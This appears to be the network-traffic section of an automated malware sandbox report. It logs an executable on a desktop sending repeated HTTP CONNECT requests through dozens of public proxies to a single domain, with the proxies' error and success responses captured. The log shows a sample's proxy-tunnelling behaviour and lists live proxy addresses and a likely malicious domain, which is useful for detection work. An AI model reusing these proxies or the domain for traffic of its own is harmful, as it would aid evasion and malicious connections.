Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1751	192.168.2.4	54876	125.228.143.207	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.214416027 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1752	192.168.2.4	54147	198.176.54.34	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.228596926 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.365953922 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1753	192.168.2.4	54852	45.251.231.113	5678	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.229573965 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1754	192.168.2.4	54847	103.204.54.50	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.243340015 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1755	192.168.2.4	54899	178.79.165.164	41921	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.264091969 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.834498882 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.377612114 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.444016933 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:35.443963051 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:37.444005013 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1756	192.168.2.4	54858	175.183.82.221	8193	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.275188923 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1757	192.168.2.4	54866	115.171.217.48	7890	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.275301933 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1758	192.168.2.4	54878	61.247.178.70	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.279736996 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.545828104 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1759	192.168.2.4	54854	194.233.78.142	49628	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.286112070 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.178993940 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.366003990 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:35.881582022 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.569308043 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:45.240525007 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:49.912377119 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:59.240550995 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1760	192.168.2.4	54883	103.216.50.225	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.328183889 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.680291891 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Fri, 23 Feb 2024 08:45:31 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1761	192.168.2.4	54925	104.20.22.93	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.330038071 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.418086052 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:31 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1762	192.168.2.4	54931	104.21.194.19	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.330324888 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.417983055 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:31 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1763	192.168.2.4	54921	104.16.108.42	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.336576939 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.426260948 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:31 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1764	192.168.2.4	54939	104.24.136.68	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.340640068 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.430440903 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:31 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1765	192.168.2.4	54896	139.159.176.147	8090	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.436589003 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.147006989 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1766	192.168.2.4	54149	159.223.71.71	59243	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.438306093 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.365751982 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.683996916 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.272151947 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:41.178560019 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:46.038243055 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1767	192.168.2.4	54079	45.140.88.219	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.438306093 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.475214958 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:37.475193977 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1768	192.168.2.4	54898	124.70.78.157	8000	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.438457012 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1769	192.168.2.4	54917	91.189.177.186	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.453739882 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.460352898 CET	1286	IN	HTTP/1.1 403 Forbidden Server: squid/5.7 Mime-Version: 1.0 Date: Fri, 23 Feb 2024 08:45:32 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3532 X-Squid-Error: ERR_ACCESS_DENIED 0 Vary: Accept-Language Content-Language: en X-Cache: MISS from lb1 X-Cache-Lookup: NONE from lb1:3128 Via: 1.1 lb1 (squid/5.7) Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2020 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2022 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1770	192.168.2.4	54151	171.244.140.160	42456	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.453958035 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1771	192.168.2.4	54932	104.244.75.78	31534	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.455248117 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1772	192.168.2.4	54353	189.240.60.166	9090	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.469189882 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.659734964 CET	72	IN	HTTP/1.1 200 Connection established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1773	192.168.2.4	52964	149.172.228.208	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.482726097 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.681287050 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1774	192.168.2.4	54911	37.32.15.125	6888	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.487570047 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.179014921 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.975339890 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:45.651649952 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1775	192.168.2.4	54943	192.252.216.81	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.498826027 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1776	192.168.2.4	52956	193.34.93.221	33861	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.499670029 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1777	192.168.2.4	54941	201.184.159.28	5678	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.499783039 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1778	192.168.2.4	54933	185.158.114.14	26586	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.511596918 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1779	192.168.2.4	54749	165.140.166.177	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.539427996 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.557790041 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1780	192.168.2.4	54253	166.62.38.100	55671	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:31.539520979 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.557667971 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
